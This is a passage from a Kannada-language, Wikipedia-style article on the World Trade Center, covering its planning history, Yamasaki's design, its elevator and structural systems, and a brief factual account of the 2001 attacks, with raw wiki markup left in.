ಕಟ್ಟಡವನ್ನು ಒಂದು ಖಾಸಗಿ ಕಂಪನಿಯ ನಿರ್ವಹಣೆಗೆ ಭೋಗ್ಯ ಕೊಡುವುದರ ಮೂಲಕ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ಖಾಸಗೀಕರಣ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ನಂತರ ಸಿಲ್ವರ್ ಸ್ಟೀನ್ ಪ್ರಾಪರ್ಟೀಸ್‌ಗೆ ಭೋಗ್ಯವಾಗಿ ನೀಡಲಾಯಿತು.{{Nowrap|July 2001}} ಸೆಪ್ಟಂಬರ್ 11, 2001ರಂದು [[ಅಲ್ ಖೈದಾ|ಆಲ್-ಕೈದಾ]]- ಸಂಬಂಧಿತ ವಿಮಾನ ಅಪಹರಣಾಕಾರರು ಒಂದು ವ್ಯವಸ್ಥಿತ ಉಗ್ರರರದಾಳಿಯ ಮೂಲಕ, ಪ್ರತಿಯೊಂದು ಗೋಪುರದ ಕಡೆಗೆ ಎರಡು ಜೆಟ್ ವಿಮಾನಗಳನ್ನು767 ಹಾರಿಸಿದರು. 56&nbsp;ನಿಮಿಷಗಳ ನಿರಂತರವಾದ ದಹನದ ನಂತರ ದಕ್ಷಿಣ ಗೋಪುರ(2)ವು ಕುಸಿದು ಬಿತ್ತು. ಇದರ ಅರ್ಧ ಗಂಟೆಯ ನಂತರ ಉತ್ತರ ಗೋಪುರ (1)ದ ಪತನವಾಯಿತು. ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಮೇಲಿನ ಈ ದಾಳಿಯು 2,752 ಜನರ ಸಾವಿಗೆ ಕಾರಣವಾಯಿತು. ನಂತರ ಒಂದು ದಿನದಲ್ಲಿ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು ನೆಲಸಮವಾಯಿತು ಮತ್ತು ಇತರ ಕಟ್ಟಡಗಳು ನೆಲಸಮವಾಗದೇ ಇದ್ದರೂ ದುರಸ್ತಿ ಮಾಡಲಾರದ ಮಟ್ಟಿಗೆ ಹಾಳಾದವು. ಸ್ವಚ್ಚತಾ ಕಾರ್ಯ ಹಾಗೂ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಸ್ಥಳವು ಮರು ಜೀವ ಪಡೆಯಲು ಸುಮಾರು ಎಂಟು ತಿಂಗಳು ಬೇಕಾಯಿತು. ಈ ಸ್ಥಳದಲ್ಲಿ ಮೊದಲು ಪ್ರಾರಂಭವಾದ ಕಟ್ಟಡವೆಂದರೆ 7 ವಿಶ್ವವ್ಯಾಪಾರ ಕೇಂದ್ರ{{Nowrap|May 2006}}. ಕಟ್ಟಡದ ಪುನರ್ನಿಮಾಣದ ಪ್ರಕ್ರಿಯೆಯ {{Nowrap|November 2001}}ಮೇಲ್ವಿಚಾರಣೆಯನ್ನು ನೋಡಿಕೊಳ್ಳಲು, ನಿವೇಶನದ ಯೋಜನೆ ಮತ್ತು ಸ್ಮಾರಕ ವಿನ್ಯಾಸಕ್ಕಾಗಿ ಸಂಘಟಿತ ಪೈಪೋಟಿಗಳನ್ನು ಆಯ್ಕೆ ಮಾಡಲು ಕೆಳ ಮಾನ್ ಹಟ್ಟನ್ ಅಭಿವೃದ್ಧಿ ಮಂಡಳಿ (ಎಲ್‌ಎಮ್‌ಡಿಸಿ)ಯನ್ನು ಸ್ಥಾಪಿಸಲಾಯಿತು. ಡೇನಿಯೇಲ್ ಲಿಬಿಸ್ಕಿಂಡ್ ರಚಿಸಿದ ಮೆಮೊರಿ ಫೌಂಡೇಶನ್ಸ್ನ್ನು ಪ್ರಮುಖ ಯೋಜನೆಯಾಗಿ ಆಯ್ಕೆ ಮಾಡಲಾಯಿತು{{convert|1776|ft|m|0|adj=on}} ಇದು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ, ಚರ್ಚ್ ಬೀದಿಯಲ್ಲಿರುವ ಮೂರು ಗೋಪುರಗಳು ಮತ್ತು ಮೈಕಲ್ ಆರಡ್ ಸಂರಚನೆಯ ಒಂದು ಸ್ಮಾರಕವನ್ನು ಒಳಗೊಂಡಿತ್ತು. ==ಯೋಜನೆ ಮತ್ತು ನಿರ್ಮಾಣ== {{Main|Construction of the World Trade Center}} ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ನ್ಯೂಯಾರ್ಕ್‌ನಲ್ಲಿ ಸ್ಥಾಪಿಸುವ ಆಲೋಚನೆಯನ್ನು ಮೊಟ್ಟ ಮೊದಲು 1946ರಲ್ಲಿ ಪ್ರಸ್ತಾಪಿಸಲಾಯಿತು. ನ್ಯೂಯಾರ್ಕ್‌ನ ರಾಜ್ಯ ಶಾಸನವು ಈ ಅಭಿವೃದ್ಧಿ ಯೋಜನೆಗಳನ್ನು ಪ್ರಾರಂಭಿಸಲು ನ್ಯೂಯಾರ್ಕ್‌ ರಾಜ್ಯಪಾಲರಾದ ಥಾಮಸ್ ಇ. ಡೇವಿ ಅವರ ಅಧಿಕೃತ ಸಹಿಯುಳ್ಳ ಒಂದು ಮಸೂದೆಯನ್ನು ಜಾರಿಗೊಳಿಸಿತು. ಆದರೆ ಈ ಯೋಜನೆಗಳು<ref name="nyt-07061946">{{Cite news|title=Dewey Picks Board for Trade Center |work=The New York Times |date=July 6, 1946}}</ref> 1949ರಲ್ಲಿ ಹಾಗೆಯೇ ಉಳಿದವು.<ref>{{Cite news|title=Lets Port Group Disband, State Senate for Dissolution of World Trade Corporation |work=The New York Times |date=March 11, 1949}}</ref> 1940 ಮತ್ತು 1950ರ ಕೊನೆಯಲ್ಲಿ, ನ್ಯೂಯಾರ್ಕ್‌ನಲ್ಲಿ ಉಂಟಾದ ಆರ್ಥಿಕ ಬೆಳವಣಿಗೆಯನ್ನು ಮಾನ್ ಹಾಟ್ಟನ್ ಮಧ್ಯ ಭಾಗದ ನಗರಕ್ಕೆ ಹೆಚ್ಚು ಒತ್ತುಕೊಡಲಾಯಿತು, ಆದರೆ ಕೆಳ ಮಾನ್ ಹಾಟ್ಟನ್ ಅನ್ನು ಕೈಬಿಡಲಾಯಿತು. ನಗರದ ಪುನರುಜ್ಜೀವನಕ್ಕೆ ಸಹಾಯವಾಗುವಂತೆ, ಡೇವಿಡ್ ರಾಕ್‌ಫೆಲ್ಲರ್ ಪೋರ್ಟ್ ಪ್ರಾದಿಕಾರಕ್ಕೆ ಕೆಳ ಮಾನ್‌ಹಟ್ಟನ್ ನಲ್ಲಿ ಒಂದು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ನಿರ್ಮಿಸುವಂತೆ ಸಲಹೆ ನೀಡಿದರು.<ref>ಜಿಲೆಸ್ಪೀ (1999), ಪುಟಗಳು. 32–33</ref> ಆರಂಭಿಕ ಯೀಜನೆಗಳನ್ನು 1961ಪ್ರಕಟಗೊಳಿಸಿದಾಗ, ಪೂರ್ವ ನದಿಯ ಪಕ್ಕದಲ್ಲಿರುವ ಒಂದು ಖಾಲಿ ಜಾಗವನ್ನು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರಕ್ಕಾಗಿ ಗುರುತಿಸಲಾಯಿತು.<ref>ಜಿಲೆಸ್ಪೀ (1999), ಪುಟಗಳು 34–35</ref> ಒಂದು ದ್ವಿ-ರಾಜ್ಯ ಮಧ್ಯವರ್ತಿಯಾಗಿ ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರವು ನ್ಯೂಯಾರ್ಕ್ ಹಾಗೂ ನ್ಯೂ ಜೆರ್ಸಿ ಸರ್ಕಾರಗಳ ಅನುಮೋದನೆಯನ್ನು ಪಡೆಯಬೇಕಾಯಿತು. ನೂತನ ಜೆರ್ಸಿ ರಾಜ್ಯ ಪಾಲರಾದ ರಾಬರ್ಟ್ ಬಿ. ಮೇಯ್ನರ್ $335&nbsp;ಮಿಲಿಯನ್ ಯೋಜನೆಯನ್ನು ನ್ಯೂಯಾರ್ಕ್ ಪಡೆಯುತ್ತಿರುವುದನ್ನು ವಿರೋಧಿಸಿದರು.<ref>ಜಿಲೆಸ್ಪೀ (1999), ಪುಟ. 38</ref> 1961ರ ಕೊನೆಯ ಹೊತ್ತಿಗೆ ನ್ಯೂ ಜೆರ್ಸಿ ಗವರ್ನರ್ ಮೇಯ್ನರ್ ಜೊತೆಗಿನ ವ್ಯವಹಾರಗಳು ಒಂದು ಯಥಾಸ್ಥಿಯನ್ನು ಮುಟ್ಟಿದವು.<ref name="nyt-1961dec29" /> ಹಡ್ಸನ್ ನದಿಗೆ ಅಡ್ಡಲಾಗಿ ಹೊಸ ಸುರಂಗ ಮಾರ್ಗಗಳು ಹಾಗೂ ಸೇತುವೆಗಳು ನಿರ್ಮಾಣವಾದ ಸಮಯದಲ್ಲಿ, ನ್ಯೂ ಜೆರ್ಸಿಯಹಡ್ಸನ್ ಮತ್ತು ಮಾನಿಹಟ್ ರೈಲ್ವೆ ಮಾರ್ಗ (ಎಚ್&amp;ಎಮ್)ದ ಸೂಚಕಗಳು 1927 ರಲ್ಲಿದ್ದ 113ಮಿಲಿಯನ್ ನಿಂದ 1958 ರಲ್ಲಿ 26 ಸೂಚಂಕಗಳಿಗೆ ಇಳಿದು ಗಣನೀಯ ಪ್ರಮಾಣದ ಕುಸಿತ ಕಂಡು ಬಂದಿತು.<ref>ಕುದಾಯ್ (2002), ಪು. 56</ref> ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರದ ನಿರ್ದೇಶಕರಾದ ಆಸ್ಟಿನ್ ಜೆ. ಟೋಬಿನ್ ಮತ್ತು ನೂತನವಾಗಿ ಆಯ್ಕೆಗೊಂಡ ನ್ಯೂಜೆರ್ಸಿ ರಾಜ್ಯಪಾಲರಾದ ರಿಚರ್ಡ್ ಜೆ. ಹ್ಯೂಗ್ಸ್ ರವರ ನಡುವೆ ನಡೆದ {{Nowrap|December 1961}} ಸಭೆಯಲ್ಲಿ , ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರವು ಹಡ್ಸನ್ ಮತ್ತು ಮಾನಿಹಟ್ ರೈಲು ಮಾರ್ಗವನ್ನು ಪೋರ್ಟ್ ಅಥಾರಿಟಿ ಟ್ರಾನ್ಸ್ -ಹಡ್ಸನ್ (ಪಿಎ‌ಟಿಎಚ್) ಎಂದು ಪಡೆಯುವ ಆಶಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿತು. ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರವು ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಯೋಜನೆಯನ್ನು ಕೆಳ ಮಾನ್‌ಹಟ್ಟನ್‌ನ ಪಶ್ಚಿಮ ದಿಕ್ಕಿಗಿರುವ ಹಡ್ಸನ್ ಟರ್ಮಿನಲ್ ಕಟ್ಟಡದ ನಿವೇಶನಕ್ಕೆ ವರ್ಗಾಯಿಸಲು ನಿರ್ಧರಿಸಿತು.ಇದು ಪಿಎ‌ಟಿಎಚ್ ಮೂಲಕ ಬರುವ ನ್ಯೂ ಜೆರ್ಸಿ ಕಮ್ಯೂಟರ್ ಗಳಿಗೆ ಹೆಚ್ಚು ಅನುಕೂಲಕರವಾಗಿತ್ತು.<ref name="nyt-1961dec29">{{Cite news|title=Port Unit Backs Linking of H&M and Other Lines |author=Grutzner, Charles |work=The New York Times |date=December 29, 1961}}</ref> ಹೊಸ ಸ್ಥಳ ಹಾಗೂ ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರದ ಹೆಚ್&amp;ಎಂ ರೈಲು ಮಾರ್ಗದ ಗಳಿಕೆಯಿಂದಾಗಿ, ನ್ಯೂ ಜೆರ್ಸಿ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಯೋಜನೆಗೆ ಬೆಂಬಲ ನೀಡಲು ಒಪ್ಪಿಕೊಂಡಿತು.<ref>{{Cite news|title=2 States Agree on Hudson Tubes and Trade Center |author=Wright, George Cable |date=January 23, 1962 |work=The New York Times}}</ref> ಇದಕ್ಕೆ ನ್ಯೂಯಾರ್ಕ್ ನಗರದ್ ಮೇಯರ್ ಆದ ಜಾನ್ ಲಿಂಡ್ಸೆ ಹಾಗೂ ನ್ಯೂಯಾರ್ಕ್ ನಗರ ಪರಿಷತ್ತಿನ ಅನುಮೋದನೆ ಅಗತ್ಯವಿತ್ತು. ನಗರ ಕೇಂದ್ರಿತ ತೆರಿಗೆ ವಿಚಾರಗಳಿಗೆ ಅಸಮಾಧಾನಗಳು. 1966{{Nowrap|August 3}}ರಲ್ಲಿ ವಿಶ್ವವ್ಯಾಪಾರ ಕೇಂದ್ರವನ್ನು ಖಾಸಗಿ ಹಿಡುವಳಿದಾರರಿಗೆ ಭೂಗ್ಯ ಕೊಟ್ಟಿದ್ದರಿಂದ ಅದರಿಂದ ಬರುವ ಭಾಗಶಃ ಕಂದಾಯವನ್ನು ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರವು ನಗರಕ್ಕೆ ವಾರ್ಷಿಕ ಪಾವತಿಗಳನ್ನು ಮಾಡುವಂತೆ ಒಪ್ಪಂದವನ್ನು ಮಾಡಿಕೊಳ್ಳಳಾಯಿತು.<ref>{{Cite news|title=City Ends Fight with Port Body on Trade Center |author=Smith, Terence |date=August 4, 1966 |work=The New York Times}}</ref>. ನಂತರದ ವರ್ಷಗಳಲ್ಲಿ, ಭೂನಿವೇಶನ ಕಂದಾಯ ದರಗಳು ಹೆಚ್ಚಾದ್ದರಿಂದ ಪಾವತಿಗಳೂ ಸಹ ಜಾಸ್ತಿಯಾದವು.<ref>{{Cite news|title=Mayor Signs Pact on Trade Center |author=Smith, Terence |work=The New York Times |date=January 26, 1967}}</ref> ===ಆರ್ಕಿಟೆಕ್ಚರಲ್ ವಿನ್ಯಾಸಗಾರ=== ಸೆಪ್ಟಂಬರ್ 20, 1962ರಂದು, ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರವು ಮಿನೋರು ಯಮಸಾಕಿಯವರನ್ನು ಪ್ರಮುಖ ವಾಸ್ತಿಶಿಲ್ಪಿಯಾಗಿಯೂ ಹಾಗೂ ಎಮೆರಿ ರೋತ್ ಮತ್ತು ಸನ್ಸ್ ಇವರನ್ನು ಸಹಾಯಕ ವಾಸ್ತುಶಿಲ್ಪಿಗಳನ್ನಾಗಿಯೂ ಅಧಿಕೃತವಾಗಿ ಆಯ್ಕೆ ಮಾಡಿತು.<ref>{{Cite news|title=Architect Named for Trade Center |author=Esterow, Milton |date=September 21, 1962 |work=The New York Times}}</ref> ಯಮಾಸಾಕಿಯವರು ಅವಳಿ ಗೋಪುರಗಳನ್ನು ಸೇರಿಸಲು ಒಂದು ಯೋಜನೆ ರೂಪಿಸಿದರು; ಯಮಾಸಾಕಿಯವರ ಮೂಲ ಯೋಜನೆಯಲ್ಲಿ 80 ಮಹಡಿಗಳ ಎತ್ತರದ ಗೋಪುರಗಳಿಗೆ ಅವಕಾಶವಿತ್ತು.<ref name="nyt-1964jan19a">{{Cite news|title=A New Era Heralded |author=Huxtable, Ada Louise |work=The New York Times |date=January 19, 1964}}</ref> ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರದ ಬೇಡಿಕೆಯಂತೆ 10 ಮಿಲಿಯನ್ ಚದರ ಅಡಿ (930,000&nbsp;ಮೀ<sup>2</sup>) ಯ ಕಛೇರಿಯನ್ನು ನಿರ್ಮಿಸಲು, 110 ಮಹಡಿಗಳ ಎತ್ತರದ ಕಟ್ಟಡಗಳು ಅವಶ್ಯವಾಗಿದ್ದವು.<ref name="huxtable">{{Cite news|title=Biggest Buildings Herald New Era |author=Huxtable, Ada Louise |date=January 26, 1964 |work=The New York Times}}</ref> [[File:World Trade Center Building Design with Floor and Elevator Arrangement.svg|thumb|right|ಡಬ್ಲುಟಿಸಿ ಕಟ್ಟಡದ ವಿಶೇಷವಾದ ನೆಲಹಾಸಿನ ವಿನ್ಯಾಸರಚನೆ ಮತ್ತು ಎಲಿವೇಟರ್ ವ್ಯವಸ್ಥೆ]] ಅಷ್ಟು ಎತ್ತರದ ಕಟ್ಟಡವನ್ನು ನಿರ್ಮಿಸುವಲ್ಲಿ ಎದುರಾದ ಒಂದು ಪ್ರಮುಖ ಸೀಮಿತ ಅಂಶವೆಂದರೆ ಮೇಲೆತ್ತುವ ಯಂತ್ರಗಳ ಸಮಸ್ಯೆ. ಕಟ್ಟಡದ ಎತ್ತರ ಹೆಚ್ಚಾದಂತೆಲ್ಲಾ ಅದನ್ನು ನಿರ್ಮಿಸಲು ಹೆಚ್ಚು ಯಂತ್ರಗಳನ್ನು ಬಳಸಬೇಕಾಗಿತ್ತು,ಇದಕ್ಕಾಗಿ ಎಲೆವೇಟರ್ ಗಳನ್ನು ನಿಲ್ಲಿಸಲು ಹೆಚ್ಚು ಸ್ಥಳಾವಕಾಶ ಬೇಕಾಗಿತ್ತು.<ref name="huxtable" /> ಯಮಾಸಕಿ ಮತ್ತು ಇತರ ಅಭಿಯಂತರರು ಗಗನ ಚುಂಬಿ ಪಡಶಾಲೆಗಳಿಗೆ ಒಂದು ಹೊಸ ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸಲು ನಿರ್ಧರಿಸಿರು; ಇದರ ಮೂಲಕವಾಗಿ ಜನರು ಅತಿ ಹೆಚ್ಚು ಸಾಮರ್ಥ್ಯವುಳ್ಳ ಎಲೆವೇಟರ್‌ಗಳ ಮೂಲಕ ಗಗನ ಚುಂಬಿ ಪಡಸಾಲೆಗಳಿಗೆ ತಲುಪಿ ಸಾಧಾರಣ ಎಲೆವೇಟರ್‌ಗಳ ಸಹಾಯದಿಂದ ಪ್ರತಿಯೊಂದು ಮಹಡಿಗೆ ಹೋಗಲು ಸಾಧ್ಯವಾಗುತ್ತಿತ್ತು. ಇದು ಸಾಧಾರಣ ಎಲೆವೇಟರ್‌ಗಳಿಗೆ ಅದೇ ಎಲೆವೇಟರ್‌ನ ಶಾಫ್ಟ್ ಗಳಲ್ಲಿ ಒಟ್ಟಾಗಿ ರಾಶಿಯಾಗುವುದಕ್ಕೆ ಸಹಾಯ ಮಾಡುತ್ತದೆ. ಪ್ರತಿಯೊಂದು ಗೋಪುರದ 44 ಮತ್ತು 78ನೇ ಮಹಡಿಗಳಲ್ಲಿರುವ ಪಡಸಾಲೆಗಳೊಂದಿಗೆ ಯಶಸ್ವಿಯಾಗಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಲು ಅನುಕೂಲ ಮಾಡಿಕೊಡುತ್ತಿತ್ತು. ಇದರಿಂದ ಪರ್ತಿಯೊಂದು ಮಹಡಿಯಲ್ಲೂ ಬಳಸಬೇಕಾಗಿದ್ದ ಎಲೆವೇಟರ್ ಶಾಫ್ಟ್‌ಗಳ ಸಂಖ್ಯೆಯನ್ನು ಶೇಕಡಾ 62 ರಿಂದ 75 ರಷ್ಟು ಕಡಿಮೆ ಮಾಡುತ್ತದೆ.<ref>{{Cite web|url=http://wtc.nist.gov/pubs/NISTNCSTAR1-1.pdf |title=Design, Construction, and Maintenance of Structural and Life Safety Systems (NCSTAR 1-1) |publisher=National Institute of Standards and Technology |page=9 |author=Lew, H.S., Richard W. Bukowski, Nicholas J. Carino |date=September 2005}}</ref><ref>ಜಿಲೆಸ್ಪೀ (1999), ಪುಟಗಳು 75–78</ref> ಒಟ್ಟಾರೆ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು 95 ಅತಿವೇಗದ ಹಾಗೂ ಸ್ಥಳೀಯ ಮೇಲೆತ್ತುವ ಯಂತ್ರಗಳನ್ನು ಹೊಂದಿದ್ದವು.<ref name="ruchelman-p11">ರುಚೆಲ್ಮನ್ (1977), ಪು. 11</ref> ಈ ವ್ಯವಸ್ಥೆಯು ಸ್ಥಳೀಯ ರೈಲುಗಳು ತಮ್ಮ ನಿಲ್ದಾಣಗಳಲ್ಲಿ ನಿಲ್ಲುವ ಮತ್ತು ವೇಗದೂತ ರೈಲುಗಳು ತಮ್ಮ ನಿಲ್ದಾಣಗಳಲ್ಲಿ ತಂಗುವ ಹೊಸ ನ್ಯೂ ನ್ಯೂಯಾರ್ಕ್ ಸಬ್ ವೇ ವ್ಯವಸ್ಥೆಯಿಂದ ಪ್ರಭಾವಿತಗೊಂಡಿತು.<ref name="gillespie-p76">ಜಿಲೆಸ್ಪೀ (1999), ಪು. 76</ref> ಯಮಾಸಾಕಿಯವರ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ವಿನ್ಯಾಸವನ್ನು 1964{{Nowrap|January 18}}, ರಂದು ಸಾರ್ವಜನಿಕರ ಎದುರು ಅನಾವರಣ ಮಾಡಲಾಯಿತು. ಇದನ್ನು ಪ್ರತಿಯೊಂದು ಕಡೆಯಿಂದಲೂ ಒಂದು ಹೆಚ್ಚು ಕಡಿಮೆ ಒಂದು ಚದರ ಯೋಜನೆಯ ಆಯಾಮದಲ್ಲಿ ತಯಾರಿಸಲಾಗಿತ್ತು.<ref name="nyt-1964jan19a" /><ref>ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1-1 (2005), ಪು. 7</ref> ಎಲ್ಲಾ ಕಟ್ಟಡಗಳನ್ನೂ ಕಡಿದಾದ ಕಿಟಕಿಗಳಿಂದ{{convert|18|in|cm}} ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದ್ದು , ಇದು ಯಮಾಸಾಕಿಯವರ ಆತಂಕದ ಉತ್ತುಂಗ ವನ್ನು ಮತ್ತು ಕಟ್ಟಡವನ್ನು ಸುರಕ್ಷಿತವಾಗಿಡಲು ಅವರ ಮಹದಾಶೆಯನ್ನು ಪ್ರತಿಬಿಂಬಿಸುತ್ತದೆ.<ref name="pekala">{{Cite news|title=Profile of a lost landmark; World Trade Center |publisher=Journal of Property Management |date=November 1, 2001 |author=Pekala, Nancy}}</ref> ಯಮಾಸಾಕಿಯವರ ವಿನ್ಯಾಸದಲ್ಲಿ ಕಟ್ಟಡದ ಮುಂಭಾಗಗಳು ಅಲ್ಯುಮಿನಿಯಂ ಮಿಶ್ರಲೋಹದ ಕವಚಗಳನ್ನು ಹೊಂದಿದ್ದವು.<ref name="nyt-1966may29">{{Cite news|title=Who's Afraid of the Big Bad Buildings |author=Huxtable, Ada Louise |date=May 29, 1966 |work=The New York Times}}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು ಲೀ ಕಾರ್ಬಿಸಿಯರ್ ರವರ ಅಮೇರಿಕಾದ ವಾಸ್ತುಶಿಲ್ಪದ ಅನುಷ್ಠಾನಗಳಲ್ಲಿ ಅತಿ ಪ್ರಾಮುಖ್ಯವಾದ ಕಟ್ಟಡವಾಗಿದ್ದು, ಇದು ಯಮಾಸಾಕಿಯವರ ಆಧುನಿಕ ಭಾವನೆಗಳ ಪ್ರತೀಕದಂತಿದೆ.<ref>ಡಾರ್ಟನ್ (1999), ಪುಟಗಳು 32–34</ref> 1980ರ ಆರಂಭದಲ್ಲಿ ಅವಳಿ ಗೋಪುರಗಳ ಜೊತೆಗೆ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಕಟ್ಟಡವು ಇನ್ನಿತರ ನಾಲ್ಕು ಕಟ್ಟಡಗಳನ್ನು 1980ರ ಆರಂಭದಲ್ಲಿ ನಿರ್ಮಿಸಲಾಯಿತು. 47 ಮಹಡಿಗಳುಳ್ಳ 7 ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು 1980ರಲ್ಲಿ ಉತ್ತರಕ್ಕಿರುವ ಮುಖ್ಯ ಸಂಕೀರ್ಣದ ಕಟ್ಟಡವಾಗಿ ಸೇರಿಕೊಂಡಿತು. ಒಟ್ಟಾರೆ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಪ್ರಮುಖ ಸಂಕೀರ್ಣವು ಒಂದು {{convert|16|acre|m2}} ಸೂಪರ್ ಬ್ಲಾಕ್ ಅನ್ನು ಅತಿಕ್ರಮಣ ಮಾಡಿದೆ.<ref>{{Cite book|author=Nobel, Philip |title=Sixteen Acres: Architecture and the Outrageous Struggle for the Future of Ground Zero |publisher=Macmillan |year=2005 |page=54 |isbn=0805080023}}</ref> ===ರಚನಾ ವಿನ್ಯಾಸ=== ವರ್ತಿಂಗ್ಟನ್‌ನ ಸ್ಟ್ರಕ್ಚರಲ್ ಇಂಜಿನಿಯರಿಂಗ್ ಫರ್ಮ್, ಹೆಲ್ಲೆ & ಜಾಕ್ಸನ್ ಅವರು ಯಮಸಾಕಿಯ ವಿನ್ಯಾಸವನ್ನು ಅಳವಡಿಸುವ ನಿಟ್ಟಿನಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದರು, ಅವಳಿ ಕಟ್ಟಡಗಳಲ್ಲಿ ಬಳಸಿದ ಟ್ಯೂಬ್-ಫ್ರೇಮ್ ಸ್ಟ್ರಕ್ಚರಲ್ ಸಿಸ್ಟಂ ಅನ್ನು ಅಭಿವೃದ್ಧಿಗೊಳಿಸಿದರು. ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರದ ಎಂಜಿನಿಯರಿಂಗ್ ಇಲಾಖೆಯು ಸ್ಥಾಪನಾ ಎಂಜಿನಿಯರ್ ಗಳಾಗಿಯೂ, ಜೋಸೆಫ್ ಆರ್. ಲೋರಿಂಗ್ ಮತ್ತು ಸಹವರ್ತಿಗಳು ವಿದ್ಯುತ್ ಶಕ್ತಿ ಎಂಜಿನಿಯರ್ಗಳಾಗಿಯೂ, ಬೌರ್ನ್ ಮತ್ತು ಬೋಲ್ಸ್ ಯಾಂತ್ರಿಕ ಎಂಜಿನಿಯರ್ಗಳಾಗಿಯೂ ಸೇವೆ ಸಲ್ಲಿಸಿದರು. ಟಿಶ್ಮನ್ ರಿಯಾಲಿಟಿ ಅಂಡ್ ಕನ್‌‍ಸ್ಟ್ರಕ್ಷನ್ ಕಂಪನಿಯು ವಿಶ್ವ ವ್ಯಾಪಾರ ಕೇಂದ ಯೋಜನೆಯ ಗುತ್ತಿಗೆದಾರನಾಗಿತ್ತು. ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರದಲ್ಲಿ ವಿಶ್ವವ್ಯಾಪಾರದ ನಿರ್ದೇಶಕರಾದ ಗಾಯ್ ಎಫ್. ಟೊಜ್ಜೋಲಿ ಮತ್ತು ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರದ ಮುಖ್ಯ ಅಭಿಯಂತರರಾದ ರಿನೋ ಎಂ. ಮೊಂತಿ ಈ ಯೋಜನೆಯ ಮೇಲ್ವಿಚಾರಕರಾಗಿದ್ದರು.<ref>ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1 (2005),ಪು. 1</ref> ಪೋರ್ಟ್ ಪ್ರಾಧಿಕಾರವು ಒಂದು ಅಂತರಾಜ್ಯದ ಮಧ್ಯವರ್ತಿಯಾಗಿ, ಕಟ್ಟಡದ ಸಂಕೇತಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಸ್ಥಳೀಯ ಕಾನೂನು ಹಾಗೂ ಕಾಯಿದೆಗಳಿಗೆ ಒಳಗಾಗಲಿಲ್ಲ. ಆದಾಗ್ಯೂ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ರಚನಾ ಎಂಜಿನಿಯರ್‌ಗಳು 1968ರಲ್ಲಿ ಹೊಸ ಕಟ್ಟಡದ ಸಂಕೇತಗಳ ಕರಡನ್ನು ಜಾರಿಗೊಳಿಸುವುದರ ಮೂಲಕ ಅಂತ್ಯಗೊಂಡಿತು.<ref name="ncstar1-1-p10">ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1-1 (2005), ಪುಟಗಳು 40–42</ref> ಫಾಜ್ಲೂರ್ ಖಾನ್ರವರು ಟ್ಯೂಬ್ ಫ್ರೇಮ್-ವಿನ್ಯಾಸವನ್ನು ಮೊಟ್ಟಮೊದಲಿಗೆ ಪ್ರಯೋಗಿಸಿದರು. ಇದು ಕಟ್ಟಡದ ಒಳಾಂಗಣಕ್ಕೆ ಆಧಾರವನ್ನು ಕೊಡುವ ಸ್ತಂಬಗಳಿಗಿಂತ ವಿಭಿನ್ನವಾದ ಮಹಡಿ ಯೋಜನೆಗಳನ್ನು ರೂಪಿಸುವಲ್ಲಿ ಒಂದು ಹೊಸ ಹೆಜ್ಜೆಯನ್ನು ಇಟ್ಟಿತು. ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಗೋಪುರಗಳಲ್ಲಿ ಶಕ್ತಿಯುತ , ಭಾರ ತಡೆಯುವ ಉಕ್ಕಿನ ಸ್ತಂಬಗಳಾದ Vierendeel trusses ನ್ನು ಹೊಂದಿವೆ.ಇವುಗಳನ್ನು ಒತ್ತಾಗಿ ಜೋಡಿಸಲಾಗಿದ್ದು ಭಾರ ತಡೆಯಬಹುದಾದ ಬಲವಾದ ಗೋಡೆಗಳನ್ನು ನಿರ್ಮಾಣ ಮಾಡಿವೆ. ಇವು ಕೋರ್ ಸ್ತಂಬಗಳೊಂದಿಗೆ ಭಾರವನ್ನು ಹಂಚಿಕೊಳ್ಳುತ್ತವೆ. ಪರಿದಿ ರಚನೆಯು ಪ್ರತಿಯೊಂದು 